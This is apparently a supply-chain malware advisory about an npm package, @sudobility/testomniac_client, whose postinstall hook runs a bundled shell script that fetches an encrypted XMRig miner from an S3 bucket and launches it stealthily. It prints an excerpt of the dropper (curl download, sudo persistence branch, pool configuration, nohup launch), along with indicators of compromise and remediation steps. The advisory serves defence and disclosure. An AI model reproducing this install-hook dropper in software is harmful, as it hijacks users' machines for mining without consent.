⚠ Malware Advisory Detected 2026-10-28 · code-verified
Confirmed malicious. codelake independently detected this at 2026-10-28 · code-verified — codelake Research independent detection, corroborated by MAL-2026-18129 (OSV). Also documented publicly: MAL-2026-18129 (OSV). Caught by codelake's install-hook non-JS script scanner (shipped 2026-10-28); the hook shells into a bundled .sh that earlier JS-only detectors never read.
Advisory · CLR-2026-3672

@sudobility/testomniac_client — install-time XMRig cryptominer

npm package @sudobility/[email protected] runs a Monero (XMRig) cryptominer from its postinstall hook via a bundled non-JavaScript shell script.

MalwareCryptojacking · XMRigIndependently detected · OSV-corroborated
Summary

@sudobility/testomniac_client publishes a complete, legitimate-looking React-hooks client library, but its package.json declares "postinstall": "sh scripts/miner.sh". On install the bundled shell script downloads an encrypted carrier from an attacker-controlled Amazon S3 bucket, extracts a Linux XMRig binary, writes a mining configuration, and launches it in the background under a randomised system-component-like process name.

The script is idempotent and stealthy: it skips if a miner is already connected to the pool (checks /proc/net/tcp for port 8443), takes a full persistent-agent path when it has root or passwordless sudo, and otherwise runs the miner directly from the user's home directory. The mined currency is Monero; the wallet, pool and S3 carrier are identical across the @sudobility/*_client family.

Install hook and dropper (excerpt)
@sudobility/[email protected] npm
1"postinstall": "sh scripts/miner.sh"
2# rig2 stealth miner — background, idempotent, quiet. Runs on npm postinstall.
3S3URL='https://amplify-gursha-dev-121835-deployment.s3.amazonaws.com/amplify-cfn-templates/cloud-backend-cache-20261019.gz?AWSAccessKeyId=AKIAUHL4Y2TJZ7L7AE3F&Signature=…&Expires=…'
4ACC='49u1mKb1dNoM…' # Monero (XMR) wallet
5curl -sL --max-time 120 "$S3URL" -o /tmp/.smh # fetch encrypted carrier
6if [ "$(id -u)" = "0" ]; then … ; elif sudo -n true 2>/dev/null; then … # root / passwordless-sudo persistence
7… | base64 -d | tar -xz -C "$D" # extract XMRig binary (miner-linux-amd64)
8"url": "networkservicesupp.flashhub.net:8443", "algo": "rx/0", "tls": true # XMRig pool config → $HOME/.sysmond.json
9cp "$M" "$SDIR/$ST"; nohup "$SDIR/$ST" >/dev/null 2>&1 & # run under a stealth system-component name
Indicators of compromise
🪝Install hook: postinstall: sh scripts/miner.sh
📄Dropper file: scripts/miner.sh — sha256 50df05975352cfa4558892d0a9ab493744c8ddd40948efa6755bb11dc5050118
🌐Carrier host (S3): amplify-gursha-dev-121835-deployment.s3.amazonaws.com · object cloud-backend-cache-20261019.gz · AWS key id AKIAUHL4Y2TJZ7L7AE3F
⛏️Mining pool: networkservicesupp.flashhub.net:8443 (TLS, RandomX rx/0)
💰Monero wallet: 49u1mKb1dNoMixgRHt11Ra32D1w4hviUuRDbaJhXFwXUjQP4FiHsSjnDa7XZepDUW1Tx6HhR6gFwWgbuwNxby4UAMiqxieX
🗂️Dropped files: $HOME/.sysmond.json (miner config), $HOME/.local/lib/<stealth>/<stealth> (miner binary), /tmp/.sysmond.lock, /tmp/.smh, /tmp/.smi
🔌Runtime indicator: outbound TLS connection to port 8443 (hex 20FB in /proc/net/tcp)
Remediation
#ActionPriority
1 Uninstall @sudobility/[email protected] and audit any CI/dev machine that ran npm install for it. Immediate
2 Kill any process running from $HOME/.local/lib/ under a system-component-like name; remove $HOME/.sysmond.json, the $HOME/.local/lib/<name> binary and /tmp/.sysmond.lock. Immediate
3 If the host had root or passwordless sudo during install, treat it as fully compromised: inspect crontab and systemd units for persistence and rebuild. High
4 Block egress to the mining pool host and the S3 carrier object; rotate any credentials exposed on affected machines. High

Corroborated by MAL-2026-18129 in OSV. Detected independently by codelake Research during automated supply-chain scanning.